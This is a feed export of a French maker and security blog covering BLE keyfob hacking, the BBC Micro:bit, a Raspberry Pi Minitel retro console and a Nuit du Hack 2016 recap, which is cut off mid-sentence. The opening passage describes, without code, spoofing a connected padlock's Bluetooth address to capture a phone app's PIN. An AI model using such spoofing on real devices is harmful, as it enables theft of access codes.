&lt;img alt="" src="/images/spoofmac.png" /&gt;
&lt;p&gt;Vous vous imaginez bien à ce stade de la lecture qu'il n'est pas très difficile de recréer n'importe quel équipement Bluetooth Low Energy à partir de ce petit porte-clé, et qu'avec un peu d'imagination et de temps on pourrait mettre à mal la sécurité de quelques équipements, voire réaliser des attaques très ciblées sur des périphériques communiquant en BLE.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ok, et quoi d'autre ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Nous avons démontré qu'il était possible d'utiliser un Gablys comme plateforme de développement peu onéreuse, à l'aide de logiciels libres et d'équipement à bas coût (STLink v2 notamment), et de profiter des avantages de ce dernier: il est petit, peu gourmand en énergie, programmable à volonté et alimenté par une pile bouton !&lt;/p&gt;
&lt;p&gt;Il est dès lors possible de le mettre dans une poche et de simuler un équipement existant jusqu'à utiliser la même adresse Bluetooth (MAC), disons par exemple un cadenas connecté, et d'amener une application sur smartphone à transmettre à ce faux cadenas un code confidentiel (cette dernière faisant confiance à l'adresse Bluetooth du cadenas), comme je l'ai démontré &lt;a class="reference external" href="https://www.youtube.com/watch?v=WsBdsmaVuio"&gt;l'année dernière lors de la Nuit du Hack&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;J'ai placé le SDK modifié avec les examples cités dans cet article &lt;a class="reference external" href="https://github.com/virtualabs/nrf5-sdk-gablys"&gt;sur un repository spécifique&lt;/a&gt;, si certains d'entre vous veulent tester sans tout modifier à la main.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;[1]&lt;/strong&gt; Pour plus d'information sur les SoftDevice de NordicSemiconductor, consulter la &lt;a class="reference external" href="http://infocenter.nordicsemi.com/index.jsp?topic=%2Fcom.nordic.infocenter.softdevices51%2Fdita%2Fnrf51%2Fsoftdevices.html"&gt;page dédiée sur le site du fondeur&lt;/a&gt;&lt;/p&gt;
</content><category term="Geekeries"/><category term="désassemblage"/><category term="nuit du hack"/></entry><entry><title>Le BBC Micro:bit, c'est awesome !</title><link href="https://virtualabs.fr/geekeries/Le-BBC-Micro-bit-c-est-awesome" rel="alternate"/><published>2016-10-06T08:00:00+02:00</published><updated>2016-10-06T08:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2016-10-06:/geekeries/Le-BBC-Micro-bit-c-est-awesome</id><summary type="html">&lt;p&gt;La BBC a initié en 2015 le projet &lt;a class="reference external" href="http://microbitworld.me"&gt;Micro:bit&lt;/a&gt;, qui se veut être un ordinateur de poche programmable destiné à l'éducation. L'objectif de cette dernière: fournir à chaque écolier de 12 ans («year 7») un support amusant et facile à utiliser. Exit l'Arduino et ses connexions complexes, le Micro …&lt;/p&gt;</summary><content type="html">&lt;p&gt;La BBC a initié en 2015 le projet &lt;a class="reference external" href="http://microbitworld.me"&gt;Micro:bit&lt;/a&gt;, qui se veut être un ordinateur de poche programmable destiné à l'éducation. L'objectif de cette dernière: fournir à chaque écolier de 12 ans («year 7») un support amusant et facile à utiliser. Exit l'Arduino et ses connexions complexes, le Micro:bit est voué à être la plateforme d'apprentissage du code à l'école, &lt;a class="reference external" href="https://www.kitronik.co.uk/5617-bbc-microbit-with-mipro-case-and-accessories.html"&gt;pour un prix modique&lt;/a&gt; (une board, un cable USB, une alimentation à piles et un boîtier pour 25€).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le Micro:bit&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Avant d'aller plus loin, il me semblait important de définir le genre du Micro:bit: masculin. Pour la simple et bonne raison que si vous en parlez au féminin dans un bon français, certaines personnes ne manqueront pas de remettre en question vos attributs, en particulier si vous êtes de sexe masculin. Trève de plaisanterie.&lt;/p&gt;
&lt;img alt="" src="/images/microbit.jpg" /&gt;
&lt;p&gt;Le Micro:bit se base sur un SoC nRF51822 de Nordic Semiconductor, qui n'est rien de moins qu'un micro-contrôleur basé sur un CPU ARM Cortex M0 intégrant les technologies &lt;em&gt;Bluetooth Low Energy&lt;/em&gt; et &lt;em&gt;ShockBurst&lt;/em&gt; (SB) (version &amp;quot;ancienne&amp;quot; et améliorée, &lt;em&gt;Enhanced ShockBurst&lt;/em&gt; (ESB)). Le protocole de communication ESB est utilisé par la couche logicielle sur laquelle repose le Micro:bit, mais il n'est pas directement accessible, ce qui est dommage car il y a des choses bien drôles à faire, comme &lt;a class="reference external" href="https://media.defcon.org/DEF%20CON%2024/DEF%20CON%2024%20presentations/DEFCON-24-Marc-Newlin-MouseJack-Injecting-Keystrokes-Into-Wireless-Mice.pdf"&gt;intercepter les frappes de touches des claviers sans fil&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Le gros intérêt du Micro:bit, ce sont ses interfaces de programmation. Les concepteurs ont mis en place &lt;a class="reference external" href="http://microbitworld.me/#choose-editor"&gt;de la compilation dans le Cloud&lt;/a&gt;, à partir des environnement suivants:
*  JavaScript
*  Python
*  Scratch-like&lt;/p&gt;
&lt;p&gt;Vous éditez votre code en ligne, vous le testez sur l'émulateur puis vous télécharger le binaire (compilé à la demande) afin de programmer votre Micro:bit. Et rien de complexe pour la programmation: il suffit de brancher le câble USB à un ordinateur, et le Micro:bit est reconnu comme une clef USB (stockage de masse). Une simple copie du fichier téléchargé sur ce support de stockage émulé suffit à déclencher la programmation du Micro:bit, qui se déconnectera automatiquement et lancera votre code. On ne peut plus simple.&lt;/p&gt;
&lt;p&gt;Pour ceux que l'aspect en ligne rebute, il existe des environnements de développement intégrés, comme [mu-editor-&amp;gt;https://github.com/mu-editor/mu], ou on peut se rabattre sur du C++ en dernier recours.&lt;/p&gt;
&lt;p&gt;Micro:bit repose sur MicroPython, un portage de Python3 pour les micro-contrôleurs, et permet ainsi de développer très simplement en Python ! Le code suivant permet d'effectuer une animation sur l'écran intégré:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;microbit&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;

&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;display&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HAPPY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;display&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;show&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SAD&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Les fonctionnalités du Micro:bit&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;L'avantage principal du Micro:bit est le fait que l'on peut développer en Python à l'aide de la &lt;a class="reference external" href="https://microbit-micropython.readthedocs.io/en/latest/"&gt;bibliothèque standard&lt;/a&gt;. Cette dernière interface tout le matériel, et rend le développement très intuitif. Elle permet notamment :
*  de gérer l'affichage de l'écran de LEDs (elle possède une banque d'images intégrées) ;
*  de gérer les boutons poussoirs ;
*  de gérer les boutons capacitifs (les pads apparents) ;
*  de jouer de la musique (en connectant un HP comme il faut) ;
*  de faire de la synthèse vocale (toujours avec le HP) ;
*  de gérer les accéléromètres ;
*  de gérer la boussole ;
*  de communiquer avec d'autres Micro:bit par radio ;
*  de communiquer avec d'autres Micro:bit par &amp;quot;réseau&amp;quot; filaire ;
*  de stocker des fichiers via un système de fichiers minimaliste (sans carte SD !).&lt;/p&gt;
&lt;p&gt;Bref, c'est juste énorme les possibilités offertes ! Sans ajout de composants, on peut faire des jeux qui communiquent via radio, des horloges binaires, des écrans affichant des messages, etc ... Et je ne parle pas des shields qui sont en train d'être développés.&lt;/p&gt;
&lt;center&gt;&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/aep_GVowKfs" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;/center&gt;&lt;p&gt;&lt;strong&gt;Utilisation avancée&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ce n'est pas parce que c'est conçu pour les débutants que ça n'offre pas de possibilités ! J'étais à la recherche depuis quelques temps d'une plateforme portable permettant de mener des attaques particulières sur les protocoles Bluetooth Low Energy et ShockBurst. C'est d'ailleurs pour cela que j'avais conçu le ProbeZero que j'ai présenté à la Nuit du Hack 2016. Mais le Raspberry Pi est relativement lourd, et mon système mettait facilement 30 secondes à se lancer, sans parler de la consommation de batterie. Le Micro:bit est de fait une très bonne alternative, avec un écran en plus !&lt;/p&gt;
&lt;p&gt;Pour le développement, on ne peut pas se limiter à la bibliothèque standard: les aspects radio sont très limités, et ce serait dommage de se passer du SDK de Nordic Semiconductor (nRF51 SDK) pour s'amuser avec de la radio. Le code source du fork de MicroPython est &lt;a class="reference external" href="https://github.com/bbcmicrobit/micropython"&gt;disponible sur github&lt;/a&gt;, où toute la phase d'installation est relativement documentée. Si vous souhaitez forker la base Python du Micro:bit, c'est une bonne piste à suivre.&lt;/p&gt;
&lt;p&gt;Il est aussi possible de développer directement en C++ et d'appeler les fonctionnalités présentes via Python: Micro:bit propose &lt;a class="reference external" href="https://github.com/lancaster-university/microbit-dal"&gt;une couche d'abstraction&lt;/a&gt; (nommée Microbit-DAL) qui permet d'utiliser toutes les fonctionnalités du Micro:bit. L'aspect intéressant de cette couche est que l'on peut du coup utiliser le SDK nRF51 pour accéder aux éléments internes du nRF51822. Pour hacker sans se fouler, c'est quand même classe :).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le Micro:bit est pour moi une plateforme qui me donne envie d'expérimenter, qui me semble tout à fait abordable par des élèves, et que je souhaite faire essayer dès que ce sera possible par mes minis-moi. Elle est aussi très intéressante car elle offre un moyen simple de bidouiller encore plus sur des protocoles sans-fil par exemple, voire développer des outils d'attaque portables (je n'ai pas abordé l'USB HID mais à mon avis il y a aussi de quoi creuser: Teensy-like, rubber-ducky et consors doivent pouvoir être portés sans trop de souci AMHA).&lt;/p&gt;
&lt;p&gt;Je suis conquis par ce projet, au point même que ça me donne envie de faire un workshop là dessus à la prochaine Nuit du Hack (ou même Nuit du Hack Kids). Et en parler à une de mes amies qui est directrice d'école et pour qui l'enseignement du code à l'école est quelque peu compliqué.&lt;/p&gt;
&lt;p&gt;Essayez-le, ça vaut franchement le coup.&lt;/p&gt;
</content><category term="Geekeries"/></entry><entry><title>Super Minitel: suite et fin</title><link href="https://virtualabs.fr/projets/Super-Minitel-suite-et-fin" rel="alternate"/><published>2016-09-22T08:00:00+02:00</published><updated>2016-09-22T08:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2016-09-22:/projets/Super-Minitel-suite-et-fin</id><summary type="html">&lt;p&gt;J'en parlais récemment, j'ai profité de mon temps libre de ces dernières semaines pour apporter la touche finale à mon Super Minitel. Le résultat est plutôt probant, bien qu'il y ait des améliorations à apporter, à mon humble avis.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ajout d'un support pour Raspberry Pi&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'ai ressorti mon bon vieux …&lt;/p&gt;</summary><content type="html">&lt;p&gt;J'en parlais récemment, j'ai profité de mon temps libre de ces dernières semaines pour apporter la touche finale à mon Super Minitel. Le résultat est plutôt probant, bien qu'il y ait des améliorations à apporter, à mon humble avis.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ajout d'un support pour Raspberry Pi&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'ai ressorti mon bon vieux OpenScad afin de concevoir un support pour tenir le Raspberry Pi et sa carte d'adaptation vidéo/clavier dans le Minitel. J'ai opté pour une fixation par collage sur le Minitel, avec un espace pour laisser passer le connecteur de clavier. Le Raspberry Pi est fixé avec un vis, tandis qu'un ergot vient se loger dans le second emplacement de vis et empêcher tout mouvement.&lt;/p&gt;
&lt;img alt="" src="/images/support-rpi.png" /&gt;
&lt;p&gt;Je l'ai ensuite imprimé sur ma Prusa i3, puis testé à blanc avec le Raspberry Pi. J'ai enfin monté le tout dans le Minitel, en prenant soin de maintenir l'ensemble avec des pinces serrantes. C'est franchement pratique ces pinces, j'ai découvert leur utilité grâce à Babozor et ses conseils de la Grotte du Barbu !&lt;/p&gt;
&lt;img alt="" src="/images/support-rpi-collage.jpg" /&gt;
&lt;p&gt;Après une nuit de séchage, j'ai pu fixer le Raspberry Pi dessus et tester le bon fonctionnement du clavier rétractable (qui passe du coup en dessous du Rasp).&lt;/p&gt;
&lt;img alt="" src="/images/support-rpi-final.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;Intégration du son&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Après avoir commandé tout un lot de composants pour ajouter un ampli audio dans le minitel et les avoir soudé, j'ai pu tester le rendu. C'est pas trop mal, mais il y a un &lt;em&gt;shhh&lt;/em&gt; de fond qui est plutôt gênant, ça doit être du au fait que mon ampli n'intègre pas de filtre ... Ceci dit en ajustant correctement le volume, on ne l'entend quasimment plus.&lt;/p&gt;
&lt;p&gt;Pour la fixation, même recette que précédemment: j'ai conçu un support adapté au PCB (avec une seule vis pour la fixation, j'ai été radin), je l'ai imprimé et collé dans le Minitel.&lt;/p&gt;
&lt;img alt="" src="/images/ampli-audio.jpg" /&gt;
&lt;p&gt;Le rendu son n'est pas merveilleux, mais ça donne un bon vieux son old school, j'aime bien :). Pour terminer, j'ai conçu et imprimé un guide de perçage afin de faire des petits trous sur le côté du Minitel à l'endroit où se trouve le haut-parleur afin de laisser le son se diffuser.&lt;/p&gt;
&lt;img alt="" src="/images/guide-percage.png" /&gt;
&lt;p&gt;Je l'ai imprimé, et je m'en suis servi de guide pour percer les trous sur le Minitel. Le rendu est très propre, et n'a nécessité aucun tracé particulier, juste la fixation du guide avec une pince auto-serrante.&lt;/p&gt;
&lt;img alt="" src="/images/prepa-trous-hp.jpg" /&gt;
&lt;img alt="" src="/images/trous-hp-final.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;Déco finale&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;S'il y a bien un domaine dans lequel je suis une quiche, c'est la déco. Je suis une bille en peinture, pochoirs, dessin, etc. Mais je ne voyais qu'une seule manière de décorer ce super Minitel: repeindre la carcasse en blanc cassé, et peindre un sigle «Super Minitel» au pochoir.&lt;/p&gt;
&lt;img alt="" src="/images/minitel-peinture-bombe.jpg" /&gt;
&lt;p&gt;J'ai donc commencé par concevoir un pochoir sur Inkscape. En reprenant des polices de Nintendo et en bidouillant un peu, j'ai réussi à imprimer un motif noir sur blanc sur du papier photo. Après un petit tour chez Cultura pour acheter de la peinture en bombe et à pochoir, quelques babioles et de la colle repositionnable en spray, j'ai entamé à la main la découpe des caractères. Un bon gros fail. Peu de précision malgré l'utilisation d'un cutter très fin, et l'encre bavait sur mes mains. Il fallait trouver autre chose.&lt;/p&gt;
&lt;img alt="" src="/images/pochoir-1.jpg" /&gt;
&lt;p&gt;Je me suis rabattu sur l'impression 3D: en effet, quoi de mieux que d'imprimer un pochoir en 3D et de s'en servir pour peindre le motif ! C'était sans compter deux éléments importants pour des pochoirs. Le premier, c'est que lorsque l'on crée des pochoirs, on ne peut pas raisonnablement réaliser de belles lettres possédant des vides, comme les lettres P ou R. On est obligé de laisser une liaison pour que la partie masquant l'intérieur &amp;quot;tienne&amp;quot;. Le rendu en est forcément moins bon. Second point, il doit être assez fin pour masquer et tenir correctement sur le support. Avec l'imprimante 3D, imprimer fin c'est imprimer pour rien. Lorsque l'on décolle le motif imprimé, il se plie et généralement cette déformation reste. C'est du plastique (PLA dans mon cas), donc assez difficile à reformer, et la colle repositionnable n'y a rien fait. Il ne me restait qu'à tester mon pochoir épais (1mm) afin de voir si le rendu serait correct.&lt;/p&gt;
&lt;p&gt;Ma dernière erreur avec les pochoirs a été de penser que la colle repositionnable c'était LA solution. En réalité, elle a créé des petits points de colle sous le pochoir, et l'encre s'est enfournée sous le pochoir à cause de l'irrégularité de celui-ci et de l'espace vacant laissé par la colle en spray. Merci les tutos Youtube, mais cette fois-ci ça ne m'a pas aidé. heureusement que j'avais fait des tests sur carton et papier avant de me lancer sur le Minitel...&lt;/p&gt;
&lt;img alt="" src="/images/pochoir-fail.jpg" /&gt;
&lt;p&gt;J'étais pas loin d'abandonner quand j'ai eu une idée toute simple: pourquoi ne pas imprimer les lettres avec l'imprimante 3D et les coller de façon jolie sur la carcasse du Minitel ? De cette façon, on obtient un effet de relief et un beau contraste blanc cassé/noir qui est du plus bel effet (enfin je crois). J'ai donc modélisé les lettres en convertissant le modèle SVG en SCAD (merci &lt;a class="reference external" href="https://github.com/l0b0/paths2openscad"&gt;paths2openscad&lt;/a&gt; !) et les ai imprimé à l'envers pour que le côté lisse corresponde à la partie visible (de face) et donne un rendu moins &amp;quot;imprimante 3D&amp;quot;. Le résultat est très probant je trouve.&lt;/p&gt;
&lt;img alt="" src="/images/lettres.jpg" /&gt;
&lt;p&gt;j'ai ensuite placé les lettres, les ai collé et ai attendu que cela sèche. J'ai fait l'erreur de marquer l'alignement au crayon papier, et cela se voit encore un peu de très près, c'est dommage. Je prendrais une équerre pour le prochain exemplaire et ne tracerai aucun trait, cela sera plus propre.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Résultat final&lt;/strong&gt;&lt;/p&gt;
&lt;img alt="" src="/images/super-minitel.jpg" /&gt;
&lt;p&gt;Au final, j'ai un Super Minitel qui ressemble exactement à ce que je voulais, qui accepte jusqu'à deux manettes Super NES en USB (pratique pour Street Fighter, mais on peut aussi jouer grâce au clavier), et qui attire la curiosité avec son aspect &amp;quot;presque&amp;quot; Super Nintendo.&lt;/p&gt;
&lt;p&gt;Je vais le beta-tester à la maison afin de déceler de potentiels défauts de conception avant de le donner à un généreux soutien du projet OpenIt, et d'en faire deux autres pour les deux autres soutiens ayant choisi cette récompense.&lt;/p&gt;
&lt;img alt="" src="/images/super-minitel-mario.jpg" /&gt;
&lt;p&gt;Il me reste encore quelques Minitels un brin différents à la maison, certainement l'occasion de me faire la main sur la soudure CMS à air chaud ;). Il me faut absolument un exemplaire à la maison, et les minis-moi auront obligation d'y jouer (vous en conviendrez: Super Mario World, Street Fighter II, Bomberman 3 et Worms sont des jeux formidables o/).&lt;/p&gt;
&lt;p&gt;Ah et si vous voulez tenter de reproduire ce hack, &lt;a class="reference external" href="https://github.com/virtualabs/super-minitel/"&gt;j'ai mis des ressources à disposition&lt;/a&gt; (majoritairement les PCBs, les fichiers de conception 3D ainsi que le software permettant d'interfacer le clavier). Il manque encore des éléments (comme la liste des composants pour les PCBs, mais ça viendra -- il y aura peut-être des modifications suite au beta-test).&lt;/p&gt;
</content><category term="Projets"/><category term="Raspberry Pi"/><category term="minitel"/><category term="making"/><category term="reprap"/></entry><entry><title>Super Minitel Entertainement System: bientôt un premier exemplaire !</title><link href="https://virtualabs.fr/projets/Super-Minitel-Entertainement" rel="alternate"/><published>2016-08-29T08:00:00+02:00</published><updated>2016-08-29T08:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2016-08-29:/projets/Super-Minitel-Entertainement</id><summary type="html">&lt;p&gt;Cela fait bientôt 3 ans que ce projet de Super Minitel Entertainement System traîne (enfin, surtout la prise en charge du clavier), et que je dois fournir 3 exemplaires aux soutiens du projet OpenIt. La conception a été laborieuse, mais est sur le point d'aboutir au premier exemplaire.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Des erreurs …&lt;/strong&gt;&lt;/p&gt;</summary><content type="html">&lt;p&gt;Cela fait bientôt 3 ans que ce projet de Super Minitel Entertainement System traîne (enfin, surtout la prise en charge du clavier), et que je dois fournir 3 exemplaires aux soutiens du projet OpenIt. La conception a été laborieuse, mais est sur le point d'aboutir au premier exemplaire.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Des erreurs à la chaîne&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La conception de la version 3 du circuit électronique d'adaptation pour Raspberry Pi a pris plus de temps que prévu, et ce à cause d'erreurs successives lors de la phase de prototypage et de réalisation.&lt;/p&gt;
&lt;p&gt;Le circuit de départ qui m'a servi à la rédaction de l'article sur le Super Minitel Entertainement System a permis de valider le montage réalisant la conversion du signal vidéo produit en sortie par le Raspberry PI (S-Video) vers les signaux attendus par la carte vidéo du Minitel. La conception de ce circuit m'a permis de reprendre en main les outils de conception électronique assisté par ordinateur, et a été réalisée avec EagleCAD. L'outil n'est pas libre mais gratuit, et le résultat rudimentaire: le circuit était imposant, mono-couche et coûteux. Le coût de fabrication d'un circuit imprimé dépend du nombre de couches et de sa surface (grosso-modo). Le délai entre la commande d'un circuit imprimé et la réception dudit circuit dans ma boîte aux lettres est d'environ trois semaines, au mieux. Gardez cela en tête pour la suite.&lt;/p&gt;
&lt;img alt="Premier circuit imprimé d'adaptation vidéo" src="/images/prototype-minipi-1.jpg" /&gt;
&lt;p&gt;Lorsque j'ai démarré la conception de la version suivante, j'ai décidé d'y intégrer le support du clavier du Minitel. J'ai choisi de supporter le clavier via un &lt;em&gt;driver&lt;/em&gt; logiciel et un interfaçage I2C, ce qui évite d'avoir un micro-contrôleur et la phase de programmation qui va avec. J'ai donc intégré le tout sur le circuit intégré, grâce à des composants permettant d'étendre le nombre de GPIOs du Raspberry Pi, et ait fait en sorte que le circuit puisse se brancher sur le port d'extension du Raspberry en respectant les dimensions. Autrement dit, j'ai du tout serrer pour que cela rentre dans l'espace requis. Et j'ai envoyé en fabrication. La conception n'a pas été réalisée avec EagleCAD mais avec gEDA, une suite de conception électronique libre et opensource.&lt;/p&gt;
&lt;p&gt;A la réception du premier circuit, je soude l'ensemble des composants sur celui-ci (il faut compter une bonne heure de concentration afin de limiter les erreurs), et le teste en conditions réelles sur le Minitel. Echec lamentable, le rendu est désastreux. Il s'avère que les empreintes des transistors utilisées pour concevoir le circuit imprimé n'étaient pas correctes (merci gEDA), et ceux-ci étaient montés à l'envers ! De plus, plusieurs pistes n'étaient pas correctement placées (on parle alors d'erreur de routage), et il m'a fallu en couper certaines et en ajouter d'autres à l'aide de fils (&amp;quot;straps&amp;quot;). Enfin, les trous pour placer le connecteur du clavier du Minitel étaient trop petits. Bref, deux ou trois jours de débogage de circuit et de nuits passées à identifier la cause de problèmes, pour enfin arriver à une version fonctionnelle. Victoire !&lt;/p&gt;
&lt;img alt="Version corrigée du circuit imprimé pour Raspberry Pi" src="/images/prototype-minipi-2.jpg" /&gt;
&lt;p&gt;Je reporte ensuite les corrections sur le logiciel de conception, et envoi en fabrication une version normalement corrigée. Sauf que non, les trous du connecteur de clavier sont encore trop petits (mauvaise mesure), et quelques corrections n'ont pas été transposées correctement. Je corrige le tout sur le logiciel, et repasse commande. Je reçois la dernière version des circuits et en suis fier: le connecteur de clavier entre parfaitement en place, et tout se soude sans encombre.&lt;/p&gt;
&lt;img alt="Circuit imprimé final tout juste reçu" src="/images/prototype-minipi-3.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;Saleté de condensateur&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cependant, malgré tous mes efforts, le rendu est encore moyen. En particulier, des &amp;quot;bavures&amp;quot; apparaissent en fin de ligne ou de caractères affichés, ce qui n'est pas trop dérangeant lorsque l'on joue mais agaçant lors de lecture de texte. Il me fallait trouver l'origine du problème.&lt;/p&gt;
&lt;p&gt;Encore une fois, une erreur était à la source de ce problème: le marquage de polarité du condensateur indiqué sur le circuit était inversé (encore une fois à cause d'une mauvaise empreinte), et en changeant de sens le condensateur l'image finale est bien plus belle. Je ne m'en étais pas rendu compte sur le prototype intermédiaire car le condensateur que j'utilisais était prévu pour 100 Volts, et ne bronchait pas trop lorsqu'il était alimenté en inverse. Mes derniers tests ayant été réalisés avec un condensateur prévu pour 50 Volts, le comportement de celui-ci en était sévèrement altéré. Merci les composants en stock.&lt;/p&gt;
&lt;p&gt;L'erreur de marquage est toujours présente sur le circuit imprimé, mais est bien moins grave qu'une erreur de piste ou de placement de composant. J'ai tout de même eu de la chance que le condensateur n'explose pas, &lt;a class="reference external" href="https://www.youtube.com/watch?v=jnPQCZ0Sfsg"&gt;les dommages pouvant être importants&lt;/a&gt; dans ce cas de figure.&lt;/p&gt;
&lt;img alt="Le montage final en place sur le Raspberry Pi" src="/images/prototype-minipi-real.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;Ce qu'il me reste à faire&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le circuit d'adaptation final fonctionne à merveille, tout comme le support du clavier via un pilote écrit en Python. Je dois encore ajouter l'audio (j'ai conçu et fait fabriquer un petit circuit complémentaire d'amplification audio, histoire d'avoir du son) et concevoir via de l'impression 3D un support pour fixer le Raspberry Pi, le circuit audio annexe ainsi qu'un haut-parleur. L'ajout d'un ventilateur pourrait être un plus si l'ensemble chauffe trop, à voir à l'usage.&lt;/p&gt;
&lt;img alt="Prototype fonctionnel sans son (à venir)" src="/images/minipi-1.jpg" /&gt;
&lt;p&gt;Viendra ensuite la décoration, à l'aide de bombes de peinture et de pochoirs faits maison. Je ne suis pas un pro en ce qui concerne cette partie, mais je compte trouver de bons conseils auprès de personnes ayant l'habitude de ce genre de choses.&lt;/p&gt;
&lt;p&gt;L'amplification audio devrait être terminée en fin de semaine, il faut juste que je commande les composants et que je prenne le temps de les souder. Je pourrais bientôt fournir les exemplaires (trois pour être précis) à leurs destinataires, et publier les fichiers de conception bien sûr.&lt;/p&gt;
&lt;center&gt;&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/ikPzRitjbcA" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;/center&gt;</content><category term="Projets"/></entry><entry><title>De retour de la Nuit du Hack 2016</title><link href="https://virtualabs.fr/geekeries/De-retour-de-la-Nuit-du-Hack-2016" rel="alternate"/><published>2016-07-07T18:00:00+02:00</published><updated>2016-07-07T18:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2016-07-07:/geekeries/De-retour-de-la-Nuit-du-Hack-2016</id><summary type="html">&lt;p&gt;La quatorzieme édition de la Nuit du Hack vient tout juste de s'achever, et je dois avouer que c'était juste magique. Magique non pas parce que l'évènement était de retour au pays de Mickey, mais par son organisation, ses contenus et les rencontres que l'on y fait. Petit retour à …&lt;/p&gt;</summary><content type="html">&lt;p&gt;La quatorzieme édition de la Nuit du Hack vient tout juste de s'achever, et je dois avouer que c'était juste magique. Magique non pas parce que l'évènement était de retour au pays de Mickey, mais par son organisation, ses contenus et les rencontres que l'on y fait. Petit retour à chaud de cette Nuit du Hack 2016.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Les coulisses du vendredi&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je suis arrivé sur place vendredi soir et j'ai rejoint le staff &lt;em&gt;Hackerzvoice&lt;/em&gt; qui s'activait pour tout finir de préparer (badges, tours de cou, etc ...). En tant que conférencier, j'ai passé plus de temps sur le polissage de planches comme on dit à l'ANSSI plutôt que sur les derniers préparatifs, ainsi que sur mes démos bancales.
En effet, certaines d'entre elles devaient être testées en conditions réelles, et cela m'a pris quelques heures afin de tout régler  (un grand merci à Jonathan pour le coup de main). A 2h30, j'étais couché et fin prêt pour ma présentation.&lt;/p&gt;
&lt;p&gt;Enfin, je pensais l'être.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le Jour J&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Samedi matin, après avoir avalé un petit-déjeuner, je me rends au New York Hotel afin de m'imprégner de l'atmosphère du lieu et saluer les premiers arrivés (staff et participants).&lt;/p&gt;
&lt;p&gt;C'est l'occasion de se ballader un peu, de découvrir les surprises de l'édition 2016, mais aussi de se poser à nouveau au calme pour repenser un peu les slides. Car après une nuit de réflexion, quelques modifications m'ont semblé utiles. J'apporte ainsi les dernières corrections et boucle la version finale de la présentation.&lt;/p&gt;
&lt;p&gt;Je commence à suivre les conférences, bien qu'ayant loupé la keynote de Louis Pouzin. Le talk de Thomas Aubin et Paul Hernault sur la sécurité de Windows 10 et les aspects protection de la vie privée était sympa, avec en prime la démonstration d'une preuve de concept nommée CortaSpoof permettant de limiter la capacité de Microsoft à profiler les utilisateurs de la dernière version de son système d'exploitation. J'ai suivi celui d'Antonio Blanchi sur la participation de l'équipe Shellphish aux différents CTFs d'assez loin, mais les quelques bribes que j'ai pu comprendre m'ont semblé plutôt intéressantes: stratégies de CTF et outils dédiés étaient au programme. Puis ce fut au tour de mon collègue Renaud Lifchitz de démontrer la faiblesse des télécommandes radio employées sur une Set-Top-Box: très instructif et les possibilités offertes sont originales !&lt;/p&gt;
&lt;p&gt;Je n'ai pas pu assister à la présentation sur Ethereum, par contre celle sur le piratage des interphones était intéressante: Sébastien Dudek a ainsi démontré que l'on pouvait
